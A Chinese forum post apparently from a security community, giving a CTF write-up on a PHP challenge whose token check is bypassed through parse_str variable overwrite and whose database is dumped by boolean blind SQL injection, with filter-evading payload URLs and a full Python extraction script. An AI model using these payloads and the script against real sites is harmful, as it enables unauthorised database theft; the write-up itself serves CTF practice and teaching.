用户
搜索
  • TA的每日心情
    无聊
    2017-3-1 18:47
  • 签到天数: 38 天

    连续签到: 1 天

    [LV.5]常住居民I

    i春秋签约作家

    Rank: 7Rank: 7Rank: 7

    10

    主题

    114

    帖子

    609

    魔法币
    收听
    4
    粉丝
    7
    注册时间
    2015-11-20

    签约作者

    发表于 2017-6-6 20:05:55 83274
    本帖最后由 ohlinge 于 2017-6-6 12:05 编辑
    文章难易度【★★★
    文章阅读点/知识点: PHP代码审计、MySQL盲注、CTF技巧
    文章作者: 0h1in9e
    本文参与i春秋社区原创文章奖励计划,未经许可禁止转载
    0x01 前言
    笔者在上个月参加一个CTF比赛的时候,遇到了一个PHP代码审计类的题目。具体地来说是关于一道SQL盲注类的题目。做了这道题之后,对SQL盲注有了更深入的了解,今天给大家分享下这道CTF题目以及解法,以及透过这个题目聊聊盲注。

    0x02 关于CTF题目
    打开题目链接,如下图所示。
    1.png
    从图中可以看出,一个表单,没有其他的东西。到这里,一般CTF套路是源码泄露,这里猜测也是。利用扫描脚本扫描到泄露文件为/index.php~
    从而get到index.php 文件源代码如下:
    [PHP] 纯文本查看 复制代码
    <?php
    error_reporting(0);
    $token="e00cf25ad42683b3df678c61f42c6bda";
    
    foreach($_GET as $key=>$value){ 
        if (is_array($value)){
            die("Bad input!");
        }
        $p="and|union|where|join|sleep|benchmark|if|sleep|benchmark|,| |\'|\"";
        if(preg_match("/".$p."/is",$value)==1){
            die("inj code!");
        }
    }
    
    parse_str($_SERVER['QUERY_STRING']);
    
    if($token==md5("admin")){
        $link=@mysql_connect("XXXX","XXXX","XXXX");
        mysql_select_db("XXXX",$link);
        $sql="select * from user where userid = ".$userid;
        $query = mysql_query($sql);
        if (mysql_num_rows($query) == 1) { 
            $arr = mysql_fetch_array($query);
            if($arr['password'] == $password) {
                $sql="select * from info where infoid=".$infoid;
                $result=mysql_query($sql);
                $arr = mysql_fetch_array($result);
                if(empty($arr['content'])){
                    echo "error sql!";
                }else{
                    echo $arr['content'];
                }
            }else{
                echo "error password!";
            }
        }else{
            echo "error userid!";
        }
        mysql_close($link);
    }else{
        echo "Bad token!";
    }
    ?>
    <html>
        <head>
            <title>web-test</title>
        </head>
        <body>
            <form action="" method="get">
                User ID:<input type="text" name="userid" length="50" /><br>
                Password:<input type="password" name="password" length="50" /><br>
                <input type="submit" value="submit"/>
            </form>
        </body>
    </html>


    从这里看出,其实就是一道代码审计题目。由于官方题目在比赛结束后就直接关闭了,这里我根据出题人思路在本地搭建一个环境。

    0x03 本地题目环境搭建
    PHP代码给出来了,只需要修改相应的MySQL连接的地方即可。问题就是数据库需要自己来创建。当时我的解法是通过SQL盲注得到数据库里边flag表中flag字段里的flag值,再根据PHP代码中的相关SQL语句可以知道,数据库中需要有user、info表。
    从上述分析来看,就是本地MySQL中创建一个数据库DB,然后向其中加入三个数据表,分别是flag、info、user。
    创建SQL语句如下:
    [SQL] 纯文本查看 复制代码
    create DATABASE ctf_01;
    use ctf_01;
    /* 创建flag表 */
    create TABLE flag(
            flag varchar(255) not null
    );
    insert into flag values('flag{XXXX}');
    /* 创建info表 */
    create TABLE info(
            infoid int primary key not null,
            content varchar(255) not null
    );
    insert into info (infoid, content) values(1,'flag is in flag!');
    /* 创建user表 */
    create TABLE user(
            userid int primary key not null,
            username varchar(255) not null,
            password varchar(255) not null
    );
    insert info user values(1,'ctf','219d03ad2d752ad2806ea1de18613158');
    执行以上SQL语句,即可成功创建本地所需的SQL。如下图所示:
    2.png 数据库搭建好了,接下来就是部署PHP代码了。这里直接修改mysql链接部分即可。
    本地题目搭建成功,接下来就可以来怼本地了。

    0x04 解题思路中的盲注技巧
    从PHP代码中看出,首先最上边这一部分是一个类似过滤的部分:
    [PHP] 纯文本查看 复制代码
    foreach($_GET as $key=>$value){ 
        if (is_array($value)){
            die("Bad input!");
        }
        $p="and|union|where|join|sleep|benchmark|if|sleep|benchmark|,| |\'|\"";
        if(preg_match("/".$p."/is",$value)==1){
            die("inj code!");
        }
    }

    常见的SQL注入关键字都被过滤掉了,这里的benchmark、sleep的过滤表示我们不能使用基于时间的SQL盲注了。
    下边if开始的部分就是这段代码的关键了。

    从图一的“Bad token”,只有$token=md5('admin')才可以。但是明显地变量并不相等。这里注意到这一句:parse_str($_SERVER['QUERY_STRING']);
    表示可以直接传递任意变量。这样我们构造链接为:

    /index.php?token=21232f297a57a5a743894a0e4a801fc3&userid=1&password=

    此时,返回“error password!“。可知userid=1的字段是存在的,userid=0等时返回“error userid!”。
    从而可以假设,userid=1为真,0为假。这里就用到了SQL盲注的思路。
    我们把userid=1改为userid=0 or 1,空格会触发过滤机制,这里用注释代替即可绕过。
    从而为:userid=0/**/or/**/1
    为了能使用SQL盲注,我们利用MySQL子查询的特性,将1用一个子查询代替,查询到正确即返回1,错误返回0,从而根据不同的返回来进行盲注。
    同时为了规避过滤的关键字,用到一个SQL语法:substr('password' from 1 for 1)='p'
    同样地,为了规避过滤中的(')逗号,采用ascii的形式来改写以上语句: ascii('password' from 1 for 1)=112
    QQ20170606-164845.png

    到这里就有两种方案了:
    一种是先利用SQL盲注注入出password字段内容,从而进一步看看info表中content字段内容,利用infoid字段继续盲注到flag表中的flag。这里我们知道那里没有flag,但是真实比赛场景下不知道啊,所以我们比赛时采用的这种方案。
    另外一种就是直接利用userid字段的注入直接注入出flag。

    思路已经很明确了,接下来就是编写脚本了。
    首先,需要确定flag内容长度:
    /index.php?token=21232f297a57a5a743894a0e4a801fc3&userid=0/**/or/**/length((select/**/flag/**/from/**/flag))=29

    5.png
    下面直接给出脚本吧:
    [Python] 纯文本查看 复制代码
    import requests
    
    payload = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@_.{}-'
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
        "Accept-Encoding": "gzip, deflate"
    }
    
    num = 12
    strings = ''
    for x in range(1,29):
        for y in payload:
            #strings  = strings + y
            url = "http://ctf.sb/2/index.php?userid=1&password=219d03ad2d752ad2806ea1de18613158&token=21232f297a57a5a743894a0e4a801fc3&infoid=0/**/or/**/ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/%d/**/for/**/1))=%d" % (x,ord(y))
            try:
                response = requests.get(url,headers=headers,timeout=5,verify=False)
                if response.content.find('flag is in flag!') != -1:#
                    strings  = strings + y
                    print strings
                    num -= 1
                    break
            except Exception,e:
                pass
    print 'flag: ',
    print strings

    脚本执行结果如下图所示:
    4.png
    从而通过sql盲注方法解决这道ctf题目。

    0x05 SQL盲注简单归纳
    相对于SQL注入,盲注条件更为苛刻。往往需要通过页面的不同响应(包括响应不同内容、不同响应时间)。所以常常就有几种盲注方式:
            (1)    boolean-based blind(基于布尔的盲注)
            (2)   time-based blind (基于时间的盲注)
            (3)   error-based (报错注入)
    上述的CTF题目中,SQL注入就属于第一种情况,基于布尔的盲注。根据页面返回不同内容来注入SQL,从而获取我们所需要的信息。此外,基于时间的盲注手段,以及种类众多的盲注手法都是平时渗透测试中经常用到的,现在很多CTF代码审计题也很喜欢考些有些绕的SQL注入题目。

    0x06 小结
    本篇文章主要从一道关于盲注的CTF题目来实际地看看SQL盲注的应用思路。
    当然,一篇文章不可能面面俱到,下面几篇文章都写的不错,推荐去看看:







    本帖被以下淘专辑推荐:

    欢迎访问我的博客 https://www.ohlinge.cn
    yyyxy 管理员 六国战旗移动展示平台! 秦 楚 燕 魏 齐 赵
    来自 9#
    发表于 2017-6-14 11:41:38
    文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!
    奖金
    点评
    50
    不错,其中的一些技巧思路都有可取的地方。

    使用道具 举报 回复
    顶顶顶
    使用道具 举报 回复
    不错的
    使用道具 举报 回复
    厉害            
    使用道具 举报 回复
    感谢楼主分享
    使用道具 举报 回复
    发表于 2017-6-8 12:22:47
    谢谢分享
    使用道具 举报 回复
    发表于 2017-6-8 14:31:47
    骚气
    路虽远,行则必至。一言不合就玩萝莉
    使用道具 举报 回复
    发表于 2017-6-9 09:24:00

    厉害了,大佬
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册